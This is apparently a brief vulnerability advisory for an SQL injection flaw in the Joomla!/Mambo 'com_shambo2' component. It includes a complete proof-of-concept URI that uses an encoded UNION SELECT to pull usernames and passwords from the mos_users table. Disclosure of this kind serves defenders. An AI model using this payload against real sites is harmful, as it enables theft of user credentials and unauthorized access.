|
Joomla! and Mambo 'com_shambo2' Component SQL Injection Vulnerability
Attackers can use a browser to exploit this issue. The following proof-of-concept URI is available: http://www.example.com/index.php?option=com_shambo2&Itemid=-999999%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0%2C1%2Cconcat(username,0x3a,password)%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2F%2A%2A%2Ffrom%2F%2A%2A%2Fmos_users |
|
 Privacy Statement |
